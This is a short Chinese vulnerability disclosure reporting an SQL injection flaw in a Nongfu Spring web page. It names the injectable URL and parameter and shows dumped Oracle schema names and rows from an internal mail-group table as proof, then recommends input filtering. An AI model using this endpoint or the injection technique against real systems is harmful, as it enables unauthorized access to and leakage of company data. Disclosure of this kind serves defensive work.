没有对Sql注入攻击进行有效防范，此漏洞可直接导致公司涉密信息外泄。
详细说明：直接提交Sql注入漏洞位置
http://www.nongfuspring.com/app/newsDetail.action?headtodetailId=853
漏洞证明：
 
由于数据敏感，请公司负责人，参考一下内容吧！
[*] AWARD
[*] BOAPP
[*] BUDGET
[*] CMS
[*] CMS_WW
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] GCJK
[*] GTS
[*] LTWG
[*] MDSYS
[*] OABG
[*] ORDSYS
[*] OSAP
[*] OUTLN
[*] SCORES
[*] SCOTT
[*] SHOW
[*] SMSUSER
[*] SOP
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] VENDOR
[*] WF_ENGINE
[*] WMSYS
[*] WSAP
[*] XDB
[*] YDWG
[*] YY_WWW
-------------------------------------------
Database: SMSUSER www.2cto.com
Table: B_MAIL_GROUP
+-------------+---------+------------+-------+----------------+----------------+----------+----------+-------------+
| CREATE_DATE | MEMBERS | MG_CREATER | MG_ID | MG_NAME | MG_NAME_CN | MG_ORGID | MG_STATE | MODIFY_DATE |
+-------------+---------+------------+-------+----------------+----------------+----------+----------+-------------+
| 25-MAY-06 | 6 | 62815 | 3 | oapm | OA项目组邮箱组| 1702 | Y | 21-DEC-10 |
| 12-AUG-06 | 8 | 62815 | 4 | nfydsw_zb | 农夫移动商务总部项目组| 1702 | Y | 21-DEC-10 |
| 12-AUG-06 | 16 | 62815 | 5 | nfydsw_dx | 农夫移动商务大区项目组| 1702 | Y | 21-DEC-10 |
| 12-AUG-06 | 20 | 62815 | 6 | nfydsw_cs | 农夫移动商务城市项目组| 1702 | Y | 21-DEC-10 |
| 26-SEP-06 | 31 | 62815 | 11 | mtnf | 农夫山泉06培训生| 1702 | Y | 21-DEC-10 |
修复方案：
 
建议过滤请求中特殊字符，并提高网站安全审计等级！
 
作者：expdigger